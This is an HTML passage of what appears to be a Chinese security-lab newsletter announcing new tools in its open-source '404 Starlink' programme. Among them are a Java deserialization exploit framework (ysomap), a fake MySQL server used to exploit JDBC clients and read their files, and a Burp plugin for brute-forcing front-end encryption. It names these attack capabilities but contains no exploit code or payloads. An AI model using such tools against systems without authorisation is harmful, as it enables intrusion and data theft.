等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"> </span></section><section data-role="title" data-tools="135编辑器" data-id="93040"><section style="text-align: center;width: 100%;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-ratio="0.1875" style="vertical-align:inherit;width: 10%;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=0804baa1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmmqZjc5bTgCrOCxRySBI7CCcVfb2Im5a0qj5vBthdyXIYMAVo6PkicLA%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">另外星链评审组还将根据项目场景、功能和源码进行分析，其中<strong>评审项</strong>包括但不限于：</span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></section><ul class="list-paddingleft-2" style="list-style-type: square;margin-left: 8px;margin-right: 8px;"><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目具有一定的实用价值</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目完整开源</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目源码内不包含恶意代码</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目可以正常部署和使用</span></p></li></ul><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(2, 30, 170);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(2, 30, 170);font-family: 等线;">项目审核通过后，我们将发送邀请函邮件，项目正式加入</span>404星链计划。</span></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(2, 30, 170);"><br/></span></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;color: rgb(2, 30, 170);"><br/></span></p><section data-role="title" data-tools="135编辑器" data-id="93040"><section style="text-align: center;width: 100%;" data-width="100%"><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;" hm_fix="345:398"><strong>03</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #0b79ff;"><span style="font-family: Optima-Regular, PingFangTC-light;">项目维护与激励</span></section></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;" data-width="100%"><br/></section></section></section></section></section></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目加入星链计划之后，社群用户可以更方便快捷地获取项目动态和反馈问题，开发者也可以不断根据用户反馈来优化和迭代项目。</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> </span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">我们将继续每周获取项目更新，并在星链计划社群、404官方账号进行推广；项目的相关文档、演示视频也将发布在Seebug Paper、公众号、404实验室B站等平台，为项目增加曝光机会。</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> </span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">同时，为了更好的管理星链计划中项目的生命周期，促进开源项目的发展，我们设置了「里程碑」，开发者可以通过不断维护项目，来达成相关的里程碑获取对应的<strong>周边礼品</strong>。</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="color: rgb(51, 51, 51);background: rgb(255, 255, 255);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.9664739884393063" data-s="300,640" style="width: 319px;height: 627px;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=a6ab3422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3Hk86nMSIu7JID8GTQ8gSC7770MxprhTiaEeYClWXLFdm6JIsn0LjGlRsw%2F640%3Fwx_fmt%3Dpng"/></section><p style="font-family: 0 0 0;text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-family: 0 0 0;text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;">（奖励里程碑）</span></p><p style="font-family: 0 0 0;text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">当然！我们依旧会为开发者提供知道创宇内推通道、每年优先推荐KCon兵器谱，以及不定期的礼品关怀：）</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"> </span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">本届KCon 2021兵器谱展示中，有<strong>8个项目</strong>来自404星链计划：</span></p><p style="font-family: 0 0 0;text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.667192429022082" data-s="300,640" style="width: 414px;height: 276px;" data-type="jpeg" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=14943573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3HkNicXedoeh694ONSnUZF0xVhRPuoAicPicTA8SXQibKpG9DP5bl32ODfvWg%2F640%3Fwx_fmt%3Djpeg"/></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><p style="font-family: 0 0 0;text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(136, 136, 136);">（KCon 2021兵器谱）</span></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;text-align: center;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;" hm_fix="345:398"><strong>04</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #0b79ff;">本期新项目</section></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;" data-width="100%"><br/></section></section></section></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;color: rgb(0, 0, 0);"><span style="font-family:等线;">本期收录了</span><strong style="font-family: Optima-Regular, PingFangTC-light;">4个</strong>优秀的项目<strong style="font-family: Optima-Regular, PingFangTC-light;">：</strong></span></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="246" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="width: 578px;height: 246px;" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=35dfa5e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT11a3o4XRqQsLOt1SUYZzUqicA7rpB5f7RibXzMralibnT8En9Py4IoiaNJX3UpdTCL7PDKLhN0ORgcQg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="101586"><section style="margin-top: 10px;margin-bottom: 10px;"><section><section style="display: flex;align-items: center;border-left: 10px solid rgb(255, 172, 63);"><section style="display: inline-block;font-size: 30px;line-height: 1em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);"><strong>0</strong><strong>1</strong></section><section data-brushtype="text" style="font-size: 16px;color: #346eb7;letter-spacing: 1.5px;line-height: 1.75em;margin-right: 1em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong> </strong><strong>kunyu</strong></span></section><section style="flex: 1;"><section style="height: 1px;background-color: rgb(255, 172, 63);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(52, 110, 183);background-color: rgb(234, 240, 248);margin-top: 1em;margin-right: 6em;margin-bottom: 2em;padding: 1em;"><p style="text-align:left;vertical-align:inherit;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);"><br/></span></strong></span></p><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">项目链接：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="text-decoration: underline;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/knownsec/Kunyu" target="_blank">https://github.com/knownsec/Kunyu</a></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">项目简介：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);"></span></strong></span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">Kunyu(坤舆)，是一款基于ZoomEye API开发的信息收集工具，旨在让企业资产收集更高效，使更多的安全从业者了解、使用网络空间资源测绘技术。</span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);">项目特点、亮点：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);"></span></strong></span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">开箱即用的命令行网络空间测绘工具</span></section><p style="vertical-align:inherit;"><br/></p></section></section><section><section style="display: flex;flex-direction: row-reverse;align-items: center;border-right: 10px solid rgb(255, 172, 63);"><section style="display: inline-block;font-size: 30px;line-height: 1em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);"><strong>0</strong><strong>2</strong></section><section data-brushtype="text" style="font-size: 16px;color: #346eb7;letter-spacing: 1.5px;line-height: 1.75em;margin-left: 1em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong>ysomap</strong></span></section><section style="flex: 1;"><section style="height: 1px;background-color: rgb(255, 172, 63);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(52, 110, 183);margin-bottom: 2em;margin-left: 6em;padding: 1em;margin-top: 1em;"><p style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;"><br/></p><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;color: rgb(0, 0, 0);">项目链接：</span></strong></span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="text-decoration: underline;font-size: 14px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/wh1t3p1g/ysomap" target="_blank">https://github.com/wh1t3p1g/ysomap</a></span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;color: rgb(0, 0, 0);">项目简介：</span></strong></span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-size: 14px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">Ysomap is A helpful Java Deserialization exploit framework based on ysoserial</span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;color: rgb(0, 0, 0);">项目特点、亮点：</span></strong></span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-size: 14px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">面对如今多样化的目标环境，ysoserial等工具所具备的攻击能力、攻击效果都无法满足实际利用。</span></section><section style="background-color: rgb(234, 240, 248);text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-size: 14px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><span style="background-color: rgb(234, 240, 248);">ysomap采用了组件化的思路，以多种实现效果装配各类反序列化利用链的生成。</span><span style="background-color: rgb(234, 240, 248);">当前，</span>已<span style="background-color: rgb(234, 240, 248);">完成了11种exploits，22种payloads(不包含学习用的gadget)，25种bullets。</span><span style="background-color: rgb(234, 240, 248);">覆盖了cc系列、rmi/ldap/jndi系列、xstream等组件或exp。</span></span><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(0, 0, 0);background-color: rgb(234, 240, 248);"></span></section><p style="background-color: rgb(234, 240, 248);vertical-align: inherit;"><br/></p></section></section></section></section><section data-role="title" data-tools="135编辑器" data-id="101586"><section style="margin-top: 10px;margin-bottom: 10px;"><section><section style="display: flex;align-items: center;border-left: 10px solid rgb(255, 172, 63);"><section style="display: inline-block;font-size: 30px;line-height: 1em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);"><strong>03</strong></section><section data-brushtype="text" style="font-size: 16px;color: #346eb7;letter-spacing: 1.5px;line-height: 1.75em;margin-right: 1em;"><strong> </strong><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 16px;">MySQL_Fake_Server</span></strong></span><span style="font-size: 16px;"><strong><span style="font-family: 等线;"></span></strong></span></section><section style="flex: 1;"><section style="height: 1px;background-color: rgb(255, 172, 63);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(52, 110, 183);background-color: rgb(234, 240, 248);margin-top: 1em;margin-right: 6em;margin-bottom: 2em;padding: 1em;"><p style="text-align:left;vertical-align:inherit;"><br/></p><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">项目链接：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="text-decoration: underline;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/fnmsd/MySQL_Fake_Server" target="_blank">https://github.com/fnmsd/MySQL_Fake_Server</a></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">项目简介：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);"></span></strong><span style="color: rgb(0, 0, 0);">用于渗透测试过程中的假MySQL服务器，纯原生python3实现，不依赖其它包。</span></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><br/></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">项目特点、亮点：</span></strong></span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">纯原生Python实现，无其它依赖包，有Python3就能用。</span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">支持目前所有场景下的MySQL JDBC Connector反序列化利用。</span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">支持MySQL客户端大文件的完整读取（包括二进制文件）。</span></section><section style="text-align: left;vertical-align: inherit;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">最新版本增加了未知用户名登录时，随机读取预置的文件路径，可以当做蜜罐使用。</span></section><p style="text-align:left;vertical-align:inherit;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><br/></span></p></section></section></section></section><section data-role="paragraph"><section data-role="title" data-tools="135编辑器" data-id="101586"><section style="margin-top: 10px;margin-bottom: 10px;"><section><section style="display: flex;flex-direction: row-reverse;align-items: center;border-right: 10px solid rgb(255, 172, 63);"><section style="padding-right: 0.2em;padding-left: 0.2em;display: inline-block;font-size: 30px;line-height: 1em;color: rgb(52, 110, 183);background-color: rgb(255, 255, 255);"><strong>04</strong></section><section data-brushtype="text" style="margin-left: 1em;font-size: 16px;color: rgb(52, 110, 183);letter-spacing: 1.5px;line-height: 1.75em;"><p><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 16px;">BurpCrypto</span></strong></span><span style="font-size: 16px;"><strong><span style="font-family: 等线;"></span></strong></span></p></section><section style="flex: 1 1 0%;"><section style="height: 1px;background-color: rgb(255, 172, 63);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="margin-top: 1em;margin-bottom: 2em;margin-left: 6em;padding: 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(52, 110, 183);background-color: rgb(234, 240, 248);"><p style="text-align: left;vertical-align: inherit;"><br/></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);font-size: 14px;">项目链接：</span></strong></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="text-decoration: underline;color: rgb(0, 0, 0);font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/whwlsfb/BurpCrypto" target="_blank">https://github.com/whwlsfb/BurpCrypto</a></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"> </span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;color: rgb(0, 0, 0);">项目简介：</span></strong><span style="color: rgb(0, 0, 0);font-size: 14px;"> </span></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(0, 0, 0);font-size: 14px;">支持多种加密算法或直接执行JS代码的用于爆破前端加密的BurpSuite插件。</span></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="color: rgb(0, 0, 0);font-size: 14px;font-family: Optima-Regular, PingFangTC-light;"> </span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;color: rgb(0, 0, 0);">项目特点、亮点：</span></strong><span style="color: rgb(0, 0, 0);font-size: 14px;"> </span></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(0, 0, 0);font-size: 14px;">集成AES、DES、RSA和大部分对应的加密模式与填充算法。支持多种密钥输入与密文输出格式（UTF8String、HEX、Base64）。支持直接执行JS代码，在部分BurpSuite版本中支持语法高亮编辑器，支持多种JS执行引擎（Jre内置、HtmlUnit、Rhino，目前默认使用Rhino）。内置密文/明文本地持久化KV数据库，通过该插件输出的密文内容可轻松查询出明文。</span></span></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 14px;"> </span></p></section></section></section></section><p style="vertical-align:inherit;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;text-align: center;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;"><strong>05</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #0b79ff;" hm_fix="337:505">404星链计划社群</section></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><p style="vertical-align:inherit;"><br/></p></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">加入404星链计划社群，请扫码识别运营菜菜子二维码，添加时备注“星链计划”。</span></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" style="width: 251px;height: 251px;" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=b886fadd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT2NAZUwSWczFcDkibjIKD9udCavb6GxNkaRbxCpdxRglHic78lZq1HhqdhJQ0UfW1W1wVTDJWY2dQsQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> </span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">群内欢迎讨论星链计划的各个安全工具，以及网络安全方面资讯、技术等等，欢迎踊跃提问、解答、互帮互助。同时群内开放【帮转正规招聘信息、优秀技术文章、寻求开发伙伴等内容】，请先联系运营菜菜子审核，由菜菜子安排推送到星链各个群中。</span></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 